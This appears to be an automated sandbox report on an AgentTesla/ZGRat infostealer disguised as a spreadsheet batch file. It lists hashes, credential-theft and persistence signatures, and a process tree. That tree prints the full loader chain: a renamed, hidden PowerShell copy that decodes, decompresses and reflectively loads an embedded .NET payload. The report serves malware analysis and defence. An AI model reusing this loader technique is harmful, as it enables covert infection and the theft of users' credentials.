Analysis

  • max time kernel
    136s
  • max time network
    99s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-05-2024 16:14

General

  • Target

    document1.xlsm.bat

  • Size

    2.5MB

  • MD5

    b35dd1b0c0a8eacd45751dc8915c921b

  • SHA1

    69ec58d6a3fced2e8cf8afcad404e622f732ba64

  • SHA256

    35b1f297074282d80109a55ffa2250719618fb94d1ffb89f2af71088000e4842

  • SHA512

    c91063cfcd257d3e056c9625538106c27fbcf15963d1ab8c6fac5ef7ba90adfe14028dd1231157e9e8c4b2aaffa3a6995d78356bd70321999f4c3116332b2b8f

  • SSDEEP

    24576:B3tFuAl5/Sq8tSKHGvFu6n0RXTiRJQQ49ZJ7Mr1/rfU2fdvFShyJDgyxK5If6Yc0:9nKqoH36ncXsCyhAJXIyYCOi4bwFMV

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Detect ZGRat V1 34 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2536
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk
        2⤵
          PID:1320
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk
          2⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:5340
        • C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk
          C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk -WindowStyle hidden -command "$Dpaixwue = Get-Content 'C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat' | select-object -Last 1; $Cbgbn = [System.Convert]::FromBase64String($Dpaixwue);$Wrshbyf = New-Object System.IO.MemoryStream( , $Cbgbn );$Vqjgxif = New-Object System.IO.MemoryStream;$Hbhfx = New-Object System.IO.Compression.GzipStream $Wrshbyf, ([IO.Compression.CompressionMode]::Decompress);$Hbhfx.CopyTo( $Vqjgxif );$Hbhfx.Close();$Wrshbyf.Close();[byte[]] $Cbgbn = $Vqjgxif.ToArray();[Array]::Reverse($Cbgbn); $Zbupjnbsv = [System.Threading.Thread]::GetDomain().Load($Cbgbn); $Rzfvpsrcsoi = $Zbupjnbsv.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1640
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            3⤵
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:4136

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dpjgnplf.oul.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\document1.xlsm.bat.Agk

        Filesize

        423KB

        MD5

        c32ca4acfcc635ec1ea6ed8a34df5fac

        SHA1

        f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

        SHA256

        73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

        SHA512

        6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

      • memory/1640-5-0x000000007534E000-0x000000007534F000-memory.dmp

        Filesize

        4KB

      • memory/1640-6-0x00000000022C0000-0x00000000022F6000-memory.dmp

        Filesize

        216KB

      • memory/1640-7-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/1640-8-0x0000000004D50000-0x0000000005378000-memory.dmp

        Filesize

        6.2MB

      • memory/1640-9-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/1640-10-0x0000000004C40000-0x0000000004C62000-memory.dmp

        Filesize

        136KB

      • memory/1640-11-0x00000000053F0000-0x0000000005456000-memory.dmp

        Filesize

        408KB

      • memory/1640-14-0x0000000005460000-0x00000000054C6000-memory.dmp

        Filesize

        408KB

      • memory/1640-22-0x00000000055D0000-0x0000000005924000-memory.dmp

        Filesize

        3.3MB

      • memory/1640-23-0x0000000005B80000-0x0000000005B9E000-memory.dmp

        Filesize

        120KB

      • memory/1640-24-0x0000000005BD0000-0x0000000005C1C000-memory.dmp

        Filesize

        304KB

      • memory/1640-25-0x0000000006B60000-0x0000000006BF6000-memory.dmp

        Filesize

        600KB

      • memory/1640-26-0x00000000060A0000-0x00000000060BA000-memory.dmp

        Filesize

        104KB

      • memory/1640-27-0x00000000060F0000-0x0000000006112000-memory.dmp

        Filesize

        136KB

      • memory/1640-28-0x0000000007400000-0x00000000079A4000-memory.dmp

        Filesize

        5.6MB

      • memory/1640-29-0x0000000008030000-0x00000000086AA000-memory.dmp

        Filesize

        6.5MB

      • memory/1640-30-0x0000000006EE0000-0x0000000007348000-memory.dmp

        Filesize

        4.4MB

      • memory/1640-31-0x0000000007AE0000-0x0000000007D10000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-32-0x0000000007DB0000-0x0000000007E42000-memory.dmp

        Filesize

        584KB

      • memory/1640-38-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-40-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-52-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-78-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-76-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-74-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-72-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-70-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-68-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-66-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-64-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-62-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-60-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-58-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-56-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-54-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-48-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-46-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-44-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-43-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-36-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-34-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-50-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-33-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-84-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-88-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-96-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-94-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-90-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-86-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-82-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-80-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-92-0x0000000007AE0000-0x0000000007D0B000-memory.dmp

        Filesize

        2.2MB

      • memory/1640-4914-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/1640-4915-0x0000000007EC0000-0x0000000007F2C000-memory.dmp

        Filesize

        432KB

      • memory/1640-4916-0x0000000007F30000-0x0000000007F7C000-memory.dmp

        Filesize

        304KB

      • memory/1640-4917-0x000000007534E000-0x000000007534F000-memory.dmp

        Filesize

        4KB

      • memory/1640-4918-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/1640-4919-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/1640-4920-0x00000000004A0000-0x00000000004F4000-memory.dmp

        Filesize

        336KB

      • memory/1640-4929-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/4136-4925-0x0000000000400000-0x0000000000442000-memory.dmp

        Filesize

        264KB

      • memory/4136-4926-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/4136-4927-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB

      • memory/4136-4930-0x00000000066A0000-0x00000000066F0000-memory.dmp

        Filesize

        320KB

      • memory/4136-4931-0x0000000006920000-0x000000000692A000-memory.dmp

        Filesize

        40KB

      • memory/4136-4932-0x0000000075340000-0x0000000075AF0000-memory.dmp

        Filesize

        7.7MB